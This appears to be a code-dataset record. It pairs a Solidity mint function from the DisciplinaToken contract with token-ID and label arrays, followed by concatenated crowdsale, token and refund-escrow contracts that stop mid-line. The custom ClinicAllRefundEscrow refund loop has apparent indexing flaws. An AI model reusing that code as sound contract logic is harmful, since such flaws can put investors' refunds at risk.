MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title DisciplinaToken * @dev disciplina.io token contract. */ contract DisciplinaToken is StandardToken, Ownable { string public constant name = "Disciplina Token"; string public constant symbol = "DSCP"; uint32 public constant decimals = 18; mapping (address => uint256) mintingAllowance; bool public mintingFinished = false; modifier beforeMintingFinished() { require(!mintingFinished); _; } modifier afterMintingFinished() { require(mintingFinished); _; } event MintingApproval(address indexed minter, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public beforeMintingFinished returns (bool) { require(mintingAllowance[msg.sender] >= _amount); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); mintingAllowance[msg.sender] = mintingAllowance[msg.sender].sub(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to allow minting by a certain address * @param _minter The address that will make minting requests. * @param _amount The amount of tokens that _minter can mint. * @return A boolean that indicates if the operation was successful. */ function allowMint(address _minter, uint256 _amount) public onlyOwner beforeMintingFinished returns (bool) { mintingAllowance[_minter] = _amount; emit MintingApproval(_minter, mintingAllowance[_minter]); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner beforeMintingFinished returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function transfer(address _to, uint256 _value) public afterMintingFinished returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public afterMintingFinished returns (bool) { return super.transferFrom(_from, _to, _value); } }
* @dev Function to mint tokens @param _to The address that will receive the minted tokens. @param _amount The amount of tokens to mint. @return A boolean that indicates if the operation was successful./
function mint(address _to, uint256 _amount) public beforeMintingFinished returns (bool) { require(mintingAllowance[msg.sender] >= _amount); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); mintingAllowance[msg.sender] = mintingAllowance[msg.sender].sub(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; }
7,687,150
[ 1, 2083, 358, 312, 474, 2430, 225, 389, 869, 1021, 1758, 716, 903, 6798, 326, 312, 474, 329, 2430, 18, 225, 389, 8949, 1021, 3844, 434, 2430, 358, 312, 474, 18, 327, 432, 1250, 716, 8527, 309, 326, 1674, 1703, 6873, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 12, 2867, 389, 869, 16, 2254, 5034, 389, 8949, 13, 1071, 1865, 49, 474, 310, 10577, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 12, 81, 474, 310, 7009, 1359, 63, 3576, 18, 15330, 65, 1545, 389, 8949, 1769, 203, 3639, 2078, 3088, 1283, 67, 273, 2078, 3088, 1283, 27799, 1289, 24899, 8949, 1769, 203, 3639, 324, 26488, 63, 67, 869, 65, 273, 324, 26488, 63, 67, 869, 8009, 1289, 24899, 8949, 1769, 203, 3639, 312, 474, 310, 7009, 1359, 63, 3576, 18, 15330, 65, 273, 312, 474, 310, 7009, 1359, 63, 3576, 18, 15330, 8009, 1717, 24899, 8949, 1769, 203, 3639, 3626, 490, 474, 24899, 869, 16, 389, 8949, 1769, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 389, 869, 16, 389, 8949, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // File: node_modules\zeppelin-solidity\contracts\math\SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: node_modules\zeppelin-solidity\contracts\crowdsale\Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: node_modules\zeppelin-solidity\contracts\ownership\Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: node_modules\zeppelin-solidity\contracts\crowdsale\validation\TimedCrowdsale.sol /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public { // solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: node_modules\zeppelin-solidity\contracts\crowdsale\distribution\FinalizableCrowdsale.sol /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: node_modules\zeppelin-solidity\contracts\crowdsale\emission\MintedCrowdsale.sol /** * @title MintedCrowdsale * @dev Extension of Crowdsale contract whose tokens are minted in each purchase. * Token ownership should be transferred to MintedCrowdsale for minting. */ contract MintedCrowdsale is Crowdsale { /** * @dev Overrides delivery by minting tokens upon purchase. * @param _beneficiary Token purchaser * @param _tokenAmount Number of tokens to be minted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\CappedToken.sol /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } // File: node_modules\zeppelin-solidity\contracts\math\Math.sol /** * @title Math * @dev Assorted math operations */ library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } // File: node_modules\zeppelin-solidity\contracts\payment\Escrow.sol /** * @title Escrow * @dev Base escrow contract, holds funds destinated to a payee until they * withdraw them. The contract that uses the escrow as its payment method * should be its owner, and provide public methods redirecting to the escrow's * deposit and withdraw. */ contract Escrow is Ownable { using SafeMath for uint256; event Deposited(address indexed payee, uint256 weiAmount); event Withdrawn(address indexed payee, uint256 weiAmount); mapping(address => uint256) private deposits; function depositsOf(address _payee) public view returns (uint256) { return deposits[_payee]; } /** * @dev Stores the sent amount as credit to be withdrawn. * @param _payee The destination address of the funds. */ function deposit(address _payee) public onlyOwner payable { uint256 amount = msg.value; deposits[_payee] = deposits[_payee].add(amount); emit Deposited(_payee, amount); } /** * @dev Withdraw accumulated balance for a payee. * @param _payee The address whose funds will be withdrawn and transferred to. */ function withdraw(address _payee) public onlyOwner { uint256 payment = deposits[_payee]; assert(address(this).balance >= payment); deposits[_payee] = 0; _payee.transfer(payment); emit Withdrawn(_payee, payment); } } // File: node_modules\zeppelin-solidity\contracts\payment\ConditionalEscrow.sol /** * @title ConditionalEscrow * @dev Base abstract escrow to only allow withdrawal if a condition is met. */ contract ConditionalEscrow is Escrow { /** * @dev Returns whether an address is allowed to withdraw their funds. To be * implemented by derived contracts. * @param _payee The destination address of the funds. */ function withdrawalAllowed(address _payee) public view returns (bool); function withdraw(address _payee) public { require(withdrawalAllowed(_payee)); super.withdraw(_payee); } } // File: node_modules\zeppelin-solidity\contracts\payment\RefundEscrow.sol /** * @title RefundEscrow * @dev Escrow that holds funds for a beneficiary, deposited from multiple parties. * The contract owner may close the deposit period, and allow for either withdrawal * by the beneficiary, or refunds to the depositors. */ contract RefundEscrow is Ownable, ConditionalEscrow { enum State { Active, Refunding, Closed } event Closed(); event RefundsEnabled(); State public state; address public beneficiary; /** * @dev Constructor. * @param _beneficiary The beneficiary of the deposits. */ constructor(address _beneficiary) public { require(_beneficiary != address(0)); beneficiary = _beneficiary; state = State.Active; } /** * @dev Stores funds that may later be refunded. * @param _refundee The address funds will be sent to if a refund occurs. */ function deposit(address _refundee) public payable { require(state == State.Active); super.deposit(_refundee); } /** * @dev Allows for the beneficiary to withdraw their funds, rejecting * further deposits. */ function close() public onlyOwner { require(state == State.Active); state = State.Closed; emit Closed(); } /** * @dev Allows for refunds to take place, rejecting further deposits. */ function enableRefunds() public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } /** * @dev Withdraws the beneficiary's funds. */ function beneficiaryWithdraw() public { require(state == State.Closed); beneficiary.transfer(address(this).balance); } /** * @dev Returns whether refundees can withdraw their deposits (be refunded). */ function withdrawalAllowed(address _payee) public view returns (bool) { return state == State.Refunding; } } // File: contracts\ClinicAllRefundEscrow.sol /** * @title ClinicAllRefundEscrow * @dev Escrow that holds funds for a beneficiary, deposited from multiple parties. * The contract owner may close the deposit period, and allow for either withdrawal * by the beneficiary, or refunds to the depositors. */ contract ClinicAllRefundEscrow is RefundEscrow { using Math for uint256; struct RefundeeRecord { bool isRefunded; uint256 index; } mapping(address => RefundeeRecord) public refundees; address[] internal refundeesList; event Deposited(address indexed payee, uint256 weiAmount); event Withdrawn(address indexed payee, uint256 weiAmount); mapping(address => uint256) private deposits; mapping(address => uint256) private beneficiaryDeposits; // Amount of wei deposited by beneficiary uint256 public beneficiaryDepositedAmount; // Amount of wei deposited by investors to CrowdSale uint256 public investorsDepositedToCrowdSaleAmount; /** * @dev Constructor. * @param _beneficiary The beneficiary of the deposits. */ constructor(address _beneficiary) RefundEscrow(_beneficiary) public { } function depositsOf(address _payee) public view returns (uint256) { return deposits[_payee]; } function beneficiaryDepositsOf(address _payee) public view returns (uint256) { return beneficiaryDeposits[_payee]; } /** * @dev Stores funds that may later be refunded. * @param _refundee The address funds will be sent to if a refund occurs. */ function deposit(address _refundee) public payable { uint256 amount = msg.value; beneficiaryDeposits[_refundee] = beneficiaryDeposits[_refundee].add(amount); beneficiaryDepositedAmount = beneficiaryDepositedAmount.add(amount); } /** * @dev Stores funds that may later be refunded. * @param _refundee The address funds will be sent to if a refund occurs. * @param _value The amount of funds will be sent to if a refund occurs. */ function depositFunds(address _refundee, uint256 _value) public onlyOwner { require(state == State.Active, "Funds deposition is possible only in the Active state."); uint256 amount = _value; deposits[_refundee] = deposits[_refundee].add(amount); investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.add(amount); emit Deposited(_refundee, amount); RefundeeRecord storage _data = refundees[_refundee]; _data.isRefunded = false; if (_data.index == uint256(0)) { refundeesList.push(_refundee); _data.index = refundeesList.length.sub(1); } } /** * @dev Allows for the beneficiary to withdraw their funds, rejecting * further deposits. */ function close() public onlyOwner { super.close(); } function withdraw(address _payee) public onlyOwner { require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state."); require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal."); RefundeeRecord storage _data = refundees[_payee]; require(_data.isRefunded == false, "An investor should not be refunded."); uint256 payment = deposits[_payee]; assert(address(this).balance >= payment); deposits[_payee] = 0; investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.sub(payment); _payee.transfer(payment); emit Withdrawn(_payee, payment); _data.isRefunded = true; removeRefundeeByIndex(_data.index); } /** @dev Owner can do manual refund here if investore has "BAD" money @param _payee address of investor that needs to refund with next manual ETH sending */ function manualRefund(address _payee) public onlyOwner { require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal."); RefundeeRecord storage _data = refundees[_payee]; require(_data.isRefunded == false, "An investor should not be refunded."); deposits[_payee] = 0; _data.isRefunded = true; removeRefundeeByIndex(_data.index); } /** * @dev Remove refundee referenced index from the internal list * @param _indexToDelete An index in an array for deletion */ function removeRefundeeByIndex(uint256 _indexToDelete) private { if ((refundeesList.length > 0) && (_indexToDelete < refundeesList.length)) { uint256 _lastIndex = refundeesList.length.sub(1); refundeesList[_indexToDelete] = refundeesList[_lastIndex]; refundeesList.length--; } } /** * @dev Get refundee list length */ function refundeesListLength() public onlyOwner view returns (uint256) { return refundeesList.length; } /** * @dev Auto refund * @param _txFee The cost of executing refund code */ function withdrawChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner returns (uint256, address[]) { require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state."); uint256 _refundeesCount = refundeesList.length; require(_chunkLength >= _refundeesCount); require(_txFee > 0, "Transaction fee should be above zero."); require(_refundeesCount > 0, "List of investors should not be empty."); uint256 _weiRefunded = 0; require(address(this).balance > (_chunkLength.mul(_txFee)), "Account's ballance should allow to pay all tx fees."); address[] memory _refundeesListCopy = new address[](_chunkLength); uint256 i; for (i = 0; i < _chunkLength; i++) { address _refundee = refundeesList[i]; RefundeeRecord storage _data = refundees[_refundee]; if (_data.isRefunded == false) { if (depositsOf(_refundee) > _txFee) { uint256 _deposit = depositsOf(_refundee); if (_deposit > _txFee) { _weiRefunded = _weiRefunded.add(_deposit); uint256 _paymentWithoutTxFee = _deposit.sub(_txFee); _refundee.transfer(_paymentWithoutTxFee); emit Withdrawn(_refundee, _paymentWithoutTxFee); _data.isRefunded = true; _refundeesListCopy[i] = _refundee; } } } } for (i = 0; i < _chunkLength; i++) { if (address(0) != _refundeesListCopy[i]) { RefundeeRecord storage _dataCleanup = refundees[_refundeesListCopy[i]]; require(_dataCleanup.isRefunded == true, "Investors in this list should be refunded."); removeRefundeeByIndex(_dataCleanup.index); } } return (_weiRefunded, _refundeesListCopy); } /** * @dev Auto refund * @param _txFee The cost of executing refund code */ function withdrawEverything(uint256 _txFee) public onlyOwner returns (uint256, address[]) { require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state."); return withdrawChunk(_txFee, refundeesList.length); } /** * @dev Withdraws the part of beneficiary's funds. */ function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner { require(_value <= address(this).balance, "Withdraw part can not be more than current balance"); beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value); beneficiary.transfer(_value); } /** * @dev Withdraws all beneficiary's funds. */ function beneficiaryWithdrawAll() public onlyOwner { uint256 _value = address(this).balance; beneficiaryDepositedAmount = 